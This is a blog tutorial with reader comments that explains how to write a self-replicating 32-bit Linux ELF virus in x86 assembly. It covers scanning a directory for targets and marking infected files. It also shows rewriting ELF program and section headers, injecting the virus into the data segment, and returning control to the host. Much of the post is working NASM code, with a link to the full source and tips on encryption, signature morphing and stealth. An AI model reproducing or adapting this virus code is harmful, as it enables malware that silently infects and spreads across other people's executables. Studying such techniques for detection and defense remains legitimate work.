**Follow:**

[RSS](https://cranklin.wordpress.com/feed/)

[Twitter](http://twitter.com/crankerson)

[**cranklin.com**](https://cranklin.wordpress.com/)

**Chiba City hacks**

* [Home](https://cranklin.wordpress.com/)
* [About](https://cranklin.wordpress.com/about/)
* [Hacks](https://cranklin.wordpress.com/category/hacks-2/)
* [Other](https://cranklin.wordpress.com/category/other/)
* [Politics](https://cranklin.wordpress.com/category/politics-2/)

**TAGS**

[assembler](https://cranklin.wordpress.com/tag/assembler/),[assembly](https://cranklin.wordpress.com/tag/assembly/),[assembly virus](https://cranklin.wordpress.com/tag/assembly-virus/),[computer virus](https://cranklin.wordpress.com/tag/computer-virus/),[computer viruses](https://cranklin.wordpress.com/tag/computer-viruses/),[elf](https://cranklin.wordpress.com/tag/elf/), [elf header](https://cranklin.wordpress.com/tag/elf-header/), [elf infection](https://cranklin.wordpress.com/tag/elf-infection/), [elf virus](https://cranklin.wordpress.com/tag/elf-virus/),[linux](https://cranklin.wordpress.com/tag/linux/), [linux virus](https://cranklin.wordpress.com/tag/linux-virus/),[mac](https://cranklin.wordpress.com/tag/mac/), [mac virus](https://cranklin.wordpress.com/tag/mac-virus/),[osx](https://cranklin.wordpress.com/tag/osx/), [osx virus](https://cranklin.wordpress.com/tag/osx-virus/), [unix virus](https://cranklin.wordpress.com/tag/unix-virus/), [virii](https://cranklin.wordpress.com/tag/virii/), [virus](https://cranklin.wordpress.com/tag/virus/),[viruses](https://cranklin.wordpress.com/tag/viruses/), [x86](https://cranklin.wordpress.com/tag/x86/)

# How to Create a Virus Using the Assembly Language

December 26, 2016



The art of virus creation seems to be lost. Let’s not confuse a virus for malware, trojan horses, worms, etc. You can make that garbage in any kiddie scripting language and pat yourself on the back, but that doesn’t make you a virus author.
You see, creating a computer virus wasn’t necessarily about destruction. It was about seeing how widespread your virus can go while avoiding detection. It was about being clever enough to outsmart the anti-virus companies. It was about innovation and creativity. A computer virus is like a paper airplane in many regards. You fold your airplane in clever and creative ways and try to make it fly as far as possible before the inevitable landing. Before the world wide web, it was a challenge to distribute a virus. With any luck, it would infect anything beyond your own computer. With even more luck, your virus would gain notoriety like the Whale Virus or the Michelangelo Virus.

If you want to be considered a “virus author”, you have to earn that title. In the hacker underground, amongst the hackers/crackers/phreakers, I had the most respect for virus authors. Not anybody was able to do it, and it really displayed a deeper knowledge of the system as well as the software. You can’t simply follow instructions and become a virus author. Creating a real virus required more skill than your average “hack”. For many years, I failed to write a working binary file infecting virus… seg fault… seg fault… seg fault. It was frustrating. So I stuck to worms, trojan bombs, and ANSI bombs. I stuck to exploiting BBSes, reverse engineering video games, and cracking copy protection. Whenever I thought my Assembly skills were finally adequate, I’d attempt to create a virus and fall flat on my face again. It took years before I was able to make a real working virus. This is why I am fascinated with viruses and looked up to true virus authors. In Ryan “elfmaster” O’Neill’s amazing book, Learning Linux Binary Analysis, he states:

*… it is a great engineering challenge that exceeds the regular conventions of programming, requiring the developer to think outside conventional paradigms
and to manipulate the code, data, and environment into behaving a certain way….. While talking with the developers of the AV software, I was amazed that next to none of them had any real idea of how to engineer a virus, let alone design any real heuristics for identifying them (other than signatures). The truth is that virus writing is difficult, and requires serious skill.*

Viruses are an art. Assembly and C (without libraries) are your paintbrushes. Today, I shall help you get through some of the challenges I faced. So let’s get started and see if you have what it takes to be an artist!

Unlike my previous “source code infecting” virus tutorials, this one is much more advanced and challenging to follow/apply (even for seasoned developers). However, I encourage you to read and extract what you can.

Let’s describe the characteristics of what I consider to be a real virus:

– the virus infects binary executable files
– the virus code must be self-contained. It operates independently of other files, libraries, interpreters, etc
– the infected host files continues the execution and spread of the virus
– the virus acts as a parasite without damaging the host file. The infected hosts should continue to execute just as it did before it was infected

Since we’re infecting binary executables, a brief explanation of just a few different executable types are in order.
**ELF** – (executable and linkable file format) standard binary file format for Unix and Unix-like systems. It is also used by many mobile phones, game consoles (Playstation, Nintendo), and more.
**Mach-O** – (mach object) binary executable file format used by NeXTSTEP, macOS, iOS, etc… You get it. All the Apple crap.
**PE** – (portable executable) used in 32-bit and 64-bit Microsoft OSes
**MZ (DOS)** – DOS executable file format… supported by all the Microsoft OSes 32-bit and below
**COM (DOS)** – DOS executable file format… supported by all the Microsoft OSes 32-bit and below

There are many Microsoft virus tutorials available, but ELF viruses seem to be more challenging and tutorials scarce… so I shall focus on ELF infection. 32-bit ELF.

I’m going to assume that the reader has at least a generic understanding of how viruses replicate. If not, I recommend you read my previous blog posts on the subject matter:
[**https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/**](https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/)
[**https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/**](https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/)
[**https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/**](https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/)

The first step is to find files to infect. The DOS instruction set made it easy to seek out files. AH:4Eh INT 21 found the first matching file based on a given filespec. AH:4Fh INT 21 found the next matching file. Unfortunately for us, it won’t be so simple. Retrieving a list of files in Linux Assembly, is not very well documented. The few answers we do find rely on POSIX readdir(). But we’re hackers, right? So let’s do what hackers do and figure this out. The tool that you should be familiar with is**strace**. By running **strace ls** we see a trace of system calls and signals that occur when running the **ls** command.



The call you’re interested in is **getdents**. So the next step is to look up “getdents” on[**http://syscalls.kernelgrok.com/**](http://syscalls.kernelgrok.com/). This gives us a little hint as to how we should be using it and how we can get a directory listing. This is what I found to work:

 mov eax, 5 ; sys\_open

 mov ebx, folder ; name of the folder

 mov ecx, 0

 mov edx, 0

 int 80h

 cmp eax, 0 ; check if fd in eax > 0 (ok)

 jbe error ; cannot open file. Exit with error status

 mov ebx, eax

 mov eax, 0xdc ; sys\_getdents64

 mov ecx, buffer

 mov edx, len

 int 80h

 mov eax, 6 ; close

 int 80h

We now have the directory contents in our designated buffer. Now we have to parse it. The offsets for each filename didn’t seem to be consistent for some reason, but I may be wrong. I’m only interested in the untarnished filename strings. What I did was print out the buffer to standard out, saved it to another file and opened it using a hexadecimal editor. The pattern I found was that each filename was prefixed with a hex 0x00 (null) followed by a hex 0x08. The filename was null terminated (suffixed with a single hex 0x00).

find\_filename\_start:

 ; look for the sequence 0008 which occurs before the start of a filename

 add edi, 1

 cmp edi, len

 jge done

 cmp byte [buffer+edi], 0x00

 jnz find\_filename\_start

 add edi, 1

 cmp byte [buffer+edi], 0x08

 jnz find\_filename\_start

 xor ecx, ecx ; clear out ecx which will be our offset for file

find\_filename\_end:

 ; look for the 00 which denotes the end of a filename

 add edi, 1

 cmp edi, len

 jge done

 mov bl, [buffer+edi] ; moved byte from buffer to file

 mov [file+ecx], bl

 inc ecx ; increment offset stored in ecx

 cmp byte [buffer+edi], 0x00 ; denotes end of the filename

 jnz find\_filename\_end

 mov byte [file+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer

 ;; DO SOMETHING WITH THE FILE

 jmp find\_filename\_start ; find next file

There are better ways of doing this. All you have to do is match up the bytes with the directory entry struct:

struct linux\_dirent {

 unsigned long d\_ino; /\* Inode number \*/

 unsigned long d\_off; /\* Offset to next linux\_dirent \*/

 unsigned short d\_reclen; /\* Length of this linux\_dirent \*/

 char d\_name[]; /\* Filename (null-terminated) \*/

 /\* length is actually (d\_reclen - 2 -

 offsetof(struct linux\_dirent, d\_name)) \*/

 /\*

 char pad; // Zero padding byte

 char d\_type; // File type (only since Linux

 // 2.6.4); offset is (d\_reclen - 1)

 \*/

 }

struct linux\_dirent64 {

 ino64\_t d\_ino; /\* 64-bit inode number \*/

 off64\_t d\_off; /\* 64-bit offset to next structure \*/

 unsigned short d\_reclen; /\* Size of this dirent \*/

 unsigned char d\_type; /\* File type \*/

 char d\_name[]; /\* Filename (null-terminated) \*/

 };

But I’m using the pattern that I found without utilizing the offsets in the struct.

The next step is to check the file and see if:

– it is an ELF executable
– it isn’t already infected

Earlier, I introduced a few different executable file types used by different operating systems. Each of these filetypes have different markers in the header. For example, ELF files always begin with **7f45 4c46**. 45-4c-46 are hexadecimal ASCII representations of the letters E-L-F.
If you hex dump your windows executable, you’d see that it starts with a **4D5A** which represent the letters M-Z.
Hex dumping OSX executables reveal the marker bytes **CEFA EDFE** which is little-end “FEED FACE”.
You can see a larger list of executable formats and their respective markers here:**<https://en.wikipedia.org/wiki/List_of_file_signatures>**



In my virus, I’m going to place my own marker in the unused bytes 9 through 12 of the ELF header. It’s the perfect place to include one double word “0EDD1E00”. My name.
I need this to mark files that I infect, so that I don’t infect an infected file again. The infected file size would snowball into oblivion. The Jerusalem virus was first detected because of this.

By simply reading the first 12 bytes, we can determine if the file is a good candidate to infect and move on to the next. I’ve decided to store each of the potential targets in a separate buffer called “targets”.

Now it starts to gets tricky. In order to infect ELF files, you’ll need to understand everything about the ELF structure. This is an excellent place to start:**<http://www.skyfree.org/linux/references/ELF_Format.pdf>**.
Unlike the simpler COM files, ELF presents different challenges. To simplify, the ELF file consists of: elf header, program headers, section headers, and the op code instructions.
The ELF header gives us information about the program headers and the section headers. It also tells us where in memory the entry point (first op code to run) lies.
The Program headers tell us which “segments” belong to the the TEXT segment and which belong to the DATA segment. It also gives us the offsets in file.
The Section headers give us information about each “section” and the “segments” that they belong to. This may be a bit confusing at first. First understand that an
executable file is in a different state when it’s on disk and when it’s running in memory. These headers give us information about both.
TEXT is the read/execute segment which contains our code and other read-only data.
DATA is the read/write segment which contains our global variables and dynamic linking information.
Within the TEXT segment, there is a .text section and a .rodata section. Within the DATA segment, there is a .data section and a .bss section.
If you’re familiar with the Assembly language, those section names should sound familiar to you.
.text is where your code resides. .data is where you store initialized global variables. .bss contains uninitialized global variables. Since it’s uninitialized, it takes no space on disk.

Unlike PE (Microsoft) files, there aren’t too many areas to infect. The old DOS COM files allowed you to append the virus bytes pretty much anywhere, and overwrite the code in memory at 100h (since com files always started at memory address 100h). The ELF files don’t allow you to write in the TEXT segment. These are the main infection strategies for ELF viruses:

### Text Padding Infection

Infect the end of the .text section. We can take advantage of the fact that ELF files, when loaded in memory, pad the segments by a full page of 0’s. We are limited by page size constraints, so we can only fit a 4kB virus on a 32-bit system or a 2MB virus on a 64-bit system. That may be small, but nevertheless sufficient for a small virus written in C or Assembly. The way to achieve this is to:
    – change the entry point (in the ELF header) to the end of the text section
    – add the page size to the offset for the section header table (in the ELF header)
    – increase the file size and memory size of the text segment by the size of the virus code
    – for each program header that resides after the virus, increase the offset by the page size
    – find the last section header in the TEXT segment and increase the section size (in the section header)
    – for each section header that exists after the virus, increase the offset by the page size
    – insert the actual virus at the end of the text section
    – insert code that jumps to the original host entry point

### Reverse Text Infection

Infect the front of the .text section while allowing the host code to keep the same virtual address. We would extend the text segment in reverse. The smallest virtual mapping address allowed in modern Linux systems is 0x1000 which is the limit as to how far back we can extend the text segment. On a 64-bit system, the default text virtual address is usually 0x400000, which leaves room for a virus of 0x3ff000 minus the size of the ELF header. On a 32-bit system, the default text virtual address is usually 0x0804800, which leaves room for an even larger virus. The way we achieve this is:
    – add the virus size (rounded up to the next page aligned value) to the offset for the section header table (in the ELF header),
    – in the text segment program header, decrease the virtual address (and physical address) by the size of the virus (rounded up to the next page aligned value)
    – in the text segment program header, increase the file size and memory size by the size of the virus (rounded up to the next page aligned value)
    – for each program header with an offset greater than the text segment, increase it by the size of the virus (rounded up again)
    – change the entry point (in the ELF header) to the original text segment virtual address – the size of the virus (rounded up)
    – increase the program header offset (in the ELF header) by the size of the virus (rounded up)
    – insert the actual virus at the beginning of the text section

### Data Segment Infection

Infect the data segment. We would attach the virus code to the end of the data segment (before the .bss section). Since it’s the data section, our virus can be as large as we want without constraint. The DATA memory segment has an R+W (read and write) permission set while the TEXT memory segment has an R+X (read and execute) permission set. On systems that do not have an NX bit set (such as 32-bit Linux systems), you can execute code in the DATA segment without changing the permission set. However, other systems require you to add an executable flag for the segment in which the virus resides.
    – increase the section header offset (in the ELF header) by the size of the virus
    – change the entry point (in the ELF header) to the end of the data segment (virtual address + file size)
    – in the data segment program header, increase the page and memory size by the size of the virus
    – increase the bss offset (in the section header) by the size of the virus
    – set the executable permission bit on the DATA segment. (Not applicable for 32-bit Linux systems)
    – insert the actual virus at the end of the data section
    – insert code that jumps to the original host entry point

There are, of course, more infection methods, but these are the main options. For our example, we will be using the 3rd approach.

There is another big obstacle when creating a virus. Variables. Ideally, we do not want to combine (virus and host) .data sections and .bss sections. Furthermore, once you assemble or compile your virus, there is no guarantee that the location of your variables will reside at the same virtual address when running from the host executable. As a matter of fact, it’s almost guaranteed that it will not, and the executable will error out with a segmentation fault. So ideally, you want to limit your virus to a single section: .text. If you have experience with Assembly, you understand that this can be a challenge. I’m going to share with you a couple tricks that should make this operation easier.

First, let’s take care of our .data section variables (initialized). If possible, “hard code” these values. Or, let’s say I have this in my .asm code:

section .data

 folder db ".", 0

 len equ 2048

 filenamelen equ 32

 elfheader dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness)

 signature dd 0x001edd0e ; 0x0edd1e00 signature reversed for endianness

section .bss

 filename: resb filenamelen ; holds path to target file

 buffer: resb len ; holds all filenames

 targets: resb len ; holds target filenames

 targetfile: resb len ; holds contents of target file

section .text

 global v1\_start

v1\_start:

you can do something like this:

 call signature

 dd 0x001edd0e ; 0x0edd1e00 signature reversed for endianness

signature:

 pop ecx ; value is now in ecx

We’ve taken advantage of the fact that when a call instruction is made, the absolute value of the current instruction is pushed onto the stack for a “ret” call.
We can do this for each of the .data section variables and bypass that section altogether.

As for the .bss section variables (uninitialized). We need to reserve a set number of bytes. We can’t do this in the .text section because that is a part of the text segment which is marked as r+x (read and execute) only. No writing is allowed in that segment of memory. So I decided to use the stack. The stack? Yes, well once we push bytes onto the stack, we can take a look at the stack pointer and save that marker. Here is an example of my workaround:

 ; make space in the stack for some uninitialized variables to avoid a .bss section

 mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)

loop\_bss:

 push 0x00 ; reserve 4 bytes (double word) of 0's

 sub ecx, 1 ; decrement our counter by 1

 cmp ecx, 0

 jbe loop\_bss

 mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now.

Notice I kept pushing 0x00 bytes (push will push a double word at a time on 32-bit assembly, the size of a register) onto the stack. 2328 times, to be exact. That gives us a space of about 9312 bytes to play with. Once I’m done zero’ing it out, I store the value of ESP (our stack pointer) and use that as the base of our “fake .bss”. I can refer to ESP + [offset] to access different variables. In my case, I’ve reserved [esp] for filename, [esp + 32] for buffer, [esp + 1056] for targets, and [esp + 2080] for targetfile.

Now I’m able to completely eliminate the use of .data and .bss sections and ship out a virus with only the .text section!
A helpful tool is **readelf**. Running **readelf -a [file]** will give you ELF header/program header/section header details:

Here we have all three sections: text, data, bss


Here we have eliminated the bss section:


Here we have eliminated the data segment completely. We can operate with the text section alone!


Now we’ll need to read in the bytes of our host file into a buffer, make the necessary alterations to the headers, and inject the virus marker. If you did your homework on the directory entry struct and saved the size of the target file, good for you. If not, we’ll have to read the file byte by byte until the system read call returns a 0x00 in EAX which indicates that we’ve reached the EOF:

reading\_loop:

 mov eax, 3 ; sys\_read

 mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized)

 int 80h

 cmp eax, 0 ; if this is 0, we've hit EOF

 je reading\_eof

 mov eax, edi

 add eax, 9312 ; 2080 + 7232 (2080 is the offset to targetfile in our fake .bss)

 cmp ecx, eax ; if the file is over 7232 bytes, let's quit

 jge infect

 add ecx, 1

 jmp reading\_loop

reading\_eof:

 push ecx ; store address of last byte read. We'll need this later

 mov eax, 6 ; close file

 int 80h

Making changes to the buffer is very simple. Just remember that you’re going to have to deal with reversed byte order (little end) when moving anything beyond a single byte.
Here we are injecting our virus marker and changing the entry point to point to our virus, at the end of the data segment. (file size doesn’t include the space that .bss occupies in memory):

 mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)

 add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz

 mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header)

 mov [edi+2080+8], ecx

 mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)

Noticed that I’m trying to store **0EDD1E00** (my name written in hexadecimal characters) as the virus marker, but reversing the byte order gives us 0x001edd0e.
You’ll also notice that I’m using offset arithmetic to find my way to the area in the bottom of the stack, which I’ve reserved for my uninitialized variables.

Now we need to locate the DATA program header and make alterations. The trick is to locate the PT\_LOAD types and then determine if its offset is NOT 0x00. If the offset is 0, it is a TEXT program header. If not, it’s DATA.

program\_header\_loop:

 ; loop through program headers and find the data segment (PT\_LOAD, offset>0)

 ;0 p\_type type of segment

 ;+4 p\_offset offset in file where to start the segment at

 ;+8 p\_vaddr his virtual address in memory

 ;+c p\_addr physical address (if relevant, else equ to p\_vaddr)

 ;+10 p\_filesz size of datas read from offset

 ;+14 p\_memsz size of the segment in memory

 ;+18 p\_flags segment flags (rwx perms)

 ;+1c p\_align alignement

 add ax, word [edi+2080+42]

 cmp ecx, 0

 jbe infect ; couldn't find data segment. let's close and look for next target

 sub ecx, 1 ; decrement our counter by 1

 mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)

 cmp ebx, 0x01 ; 0: PT\_NULL, 1: PT\_LOAD, ...

 jne program\_header\_loop ; it's not PT\_LOAD. look for next program header

 mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)

 cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment

 je program\_header\_loop ; it's the text segment. We're interested in the data segment

 mov ebx, dword [edi+2080+24] ; old entry point

 push ebx ; save the old entry point

 mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)

 mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)

 add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz

 push ebx ; save the offset of our virus

 mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)

 add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz

We also need to make modifications to the .bss section header. We can tell if it’s the section header by checking the type flag to be NOBITS. Section headers don’t necessarily need to be present in order for the executable to run. So if we can’t locate it, it’s no big deal and we can proceed:

section\_header\_loop:

 ; loop through section headers and find the .bss section (NOBITS)

 ;0 sh\_name contains a pointer to the name string section giving the

 ;+4 sh\_type give the section type [name of this section

 ;+8 sh\_flags some other flags ...

 ;+c sh\_addr virtual addr of the section while running

 ;+10 sh\_offset offset of the section in the file

 ;+14 sh\_size zara white phone numba

 ;+18 sh\_link his use depends on the section type

 ;+1c sh\_info depends on the section type

 ;+20 sh\_addralign alignment

 ;+24 sh\_entsize used when section contains fixed size entrys

 add ax, word [edi+2080+46]

 cmp ecx, 0

 jbe finish\_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection

 sub ecx, 1 ; decrement our counter by 1

 mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section)

 cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section

 jne section\_header\_loop ; it's not the .bss section

 mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory)

 add ebx, v\_stop - v\_start ; add size of our virus to shdr->addr

 add ebx, 7 ; for the jmp to original entry point

 mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer)

 mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section)

 add edx, v\_stop - v\_start ; add size of our virus to shdr->offset

 add edx, 7 ; for the jmp to original entry point

 mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer)

And then, of course we need to make the final modification to the ELF header by changing the section header offset since we’re infecting the tail end of the data segment (just before the bss). The program headers remain in the same location:

 ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)

 ;dword [edi+2080+28] ; ehdr->phoff (program header offset)

 ;dword [edi+2080+32] ; ehdr->shoff (section header offset)

 ;word [edi+2080+40] ; ehdr->ehsize (size of elf header)

 ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)

 ;word [edi+2080+44] ; ehdr->phnum (number of program header entries)

 ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)

 ;word [edi+2080+48] ; ehdr->shnum (number of program header entries)

 mov eax, v\_stop - v\_start ; size of our virus minus the jump to original entry point

 add eax, 7 ; for the jmp to original entry point

 mov ebx, dword [edi+2080+32] ; the original section header offset

 add eax, ebx ; add the original section header offset

 mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)

The final step is to inject the actual virus code, and finalize it with the JUMP instruction back to the original entry point of the host code so that our unsuspecting user sees the host run normally.

A question you may ask yourself is, how does a virus grab its own code? How does a virus determine its own size? These are very good questions. First of all, I use labels to mark the beginning and end of the virus and use simple offset math:

section .text

 global v\_start

v\_start:

 ; virus body start

...

...

...

...

v\_stop:

 ; virus body stop

 mov eax, 1 ; sys\_exit

 mov ebx, 0 ; normal status

 int 80h

By doing that, I can use v\_start as the offset to the beginning of the virus and I can use v\_stop – v\_start as the number of bytes (size).

 mov eax, 4

 mov ecx, v\_start ; attach the virus portion

 mov edx, v\_stop - v\_start ; size of virus bytes

 int 80h

The size of the virus (v\_stop – v\_start) will calculate just fine, but the reference to the beginning of the virus code (mov ecx, v\_start) will fail after the first infection. As a matter of fact, any reference to an absolute address will fail because the location in memory will change from host to host! Absolute addresses of labels such as v\_start is calculated at compile time depending on how it’s being called. Your normal short jmp, jne, jnz, etc are converted to offsets relative to your current position, but MOV’ing address of a label will not. What we need is a delta offset. A delta offset is the difference in virtual addresses from the original virus to the current host file. So how do you get the delta offset? It’s actually a very simple trick I learned from Dark Angel’s Phunky Virus Guide back in the early 90’s in his DOS virus tutorial:

 call delta\_offset

delta\_offset:

 pop ebp

 sub ebp, delta\_offset

by making a CALL to a label at the current position, the current value in the instruction pointer (absolute address) is pushed onto the stack so that a RET will know where to return you. We POP it off the stack and we have the current instruction pointer. By subtracting the original virus absolute address from the current one, we now have the delta offset in EBP! The delta offset will be 0 during the original virus execution.

You’ll notice that in order to circumvent certain obstacles, we do CALLs without RETs, or vice versa. I wouldn’t recommend doing this outside of this project if you can help it because apparently, mismatching a call/ret pair results in a performance penalty.. But this is no ordinary situation.

Now that we have our delta offset, let’s change our reference to v\_start to the delta offset version:

 mov eax, 4

 lea ecx, [ebp + v\_start] ; attach the virus portion (calculated with the delta offset)

 mov edx, v\_stop - v\_start ; size of virus bytes

 int 80h

Notice that I didn’t include the system exit call in the virus. This is because I don’t want the virus to exit before it executes the host code. Instead, I’m going to replace that part with the jump to the original host bytes. Since the host entry point will vary from host to host, I need to generate this dynamically and inject the op code directly. In order to figure out the op code, you must first understand the characteristics of the JMP instruction itself. JMP will try to do a relative jump by calculating the offset to the destination. We want to give it an absolute location. I’ve figured out the hexadecimal op code by assembling a small program that JMPs short and JMPs far. The JMP op code changes from an E9 to an FF.

 mov ebx, 0x08048080

 jmp ebx

 jmp 0x08048080

After assembling this, I ran “xxd” and inspected the bytes and figured out how to interpret this into op code.



 pop edx ; original entry point of host

 mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte)

 mov [edi+1], edx ; original entry point (4 bytes)

 mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes)

MOV’ing a double word into the register EAX ends up being represented as **B8 xx xx xx xx**. JMP’ing to a value stored in the register EAX ends up being represented as **FF E0**

Altogether, this gives us a total of 7 extra bytes to append to the end of the virus. This also means that each of the offsets and filesizes that we’ve altered must account for these extra 7 bytes.

So my virus makes alterations to the headers in the buffer (not in the file), then overwrites the host file with the modified buffer bytes up until the offset where our virus code resides. It then inserts itself (vstart, vstop-vstart) then continues to write the remainder of the buffer bytes from where it left off. It then transfers control of the program back to the original host file.

Once I assemble the virus, I want to manually add my virus marker after the 8th byte of the virus…. this may not be necessary in my example because my virus skips targets that don’t have a DATA segment, but that may not always be the case. Fire up your favorite hexadecimal editor and add those bytes in there!

Now we’re done. Let’s assemble it and test it out: **nasm -f elf -F dwarf -g virus.asm && ld -m elf\_i386 -e v\_start -o virus virus.o**

I recorded a video of the test. I sound like I lack enthusiasm only because it’s late at night. I’m ecstatic.

Now that you’re done reading, here is a link to my overly commented virus source code: [**https://github.com/cranklin/cranky-data-virus**](https://github.com/cranklin/cranky-data-virus)

This is about as simple as it gets for an ELF infecting virus. It can be improved with VERY simple adjustments:
– extract more information from the ELF header (32 or 64 bit, executable, etc)
– allocate the files buffer after the targetfile buffer. Why? Because we are no longer using the files buffer when we get to the targetfile buffer and we can overflow into the files buffer for an even bigger targetfile buffer.
– traverse directories

It can also be improved with some slightly more complex adjustments:
– cover our tracks a little better for added stealth
– encrypt!
– morph the signature
– infect using a less detectable method

Well, that’s all for now folks.
By reading this, I hope you were also able to obtain some knowledge about heuristic virus detection (without the need to search for specific virus signatures). Maybe that will be the topic of another day. Or maybe I’ll cover OSX viruses… or maybe I’ll do something lame and demonstrate a Nodejs virus.

We shall see. Ciao for now.

Advertisements

### Share this:

* [Facebook2K+](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?share=facebook&nb=1)
* [Twitter](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?share=twitter&nb=1)
* [Google](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?share=google-plus-1&nb=1)
* [LinkedIn341](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?share=linkedin&nb=1)
* [Tumblr](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?share=tumblr&nb=1)

### Related

[How to Create a Computer Virus](https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/)In "Hacks"

[How to Make a Simple Computer Virus with Python](https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/)In "Hacks"

[Stupid Simple Computer Virus in 3 Lines of Code](https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/)In "Hacks"

From → [Hacks](https://cranklin.wordpress.com/category/hacks-2/)

**30 Comments**

1. 

**anonymous**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5591)

Amazing tutorial!
Keep it up

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5591#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5596)

Thank you!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5596#respond)

1. 

[**Zaf**](http://zaf.web.id/blog)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5592)

Reblogged this on [Afiuw Zumala](https://afiuw.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/).

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5592#respond)

1. 

[**tigwyk**](http://soylentcola.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5593)

Back in the day I received a copy of The Big Black Book of Viruses and it was absolute heaven for a kid wanting to learn assembly in the most fun way possible. Thanks for bringing back some great memories!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5593#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5597)

Awesome! While I haven’t had the chance to read that one, the books I read were fun (and frustrating for me). You are right that it was an inspiration for kids to learn assembly.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5597#respond)

1. 

**Trevor**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5598)

Love this came across your site by accident (Twitter) took me back to the old days when I wasn’t so boring and shit like hacking two BIOS systems together was cool.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5598#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5599)

Sweet. I’m happy you found this on accident. Sounds like you were working on some cool stuff!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5599#respond)

1. 

[**dokteryoseph**](http://carakerja.net/198/protokol-diet-ketogenik-yv/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5605)

What an amazing tutorial!
Keep it up..

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5605#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5606)

Thank you! I appreciate it!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5606#respond)

1. 

**Jomato\_moro**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5610)

What’s its purpose? it infects files but for what reason?

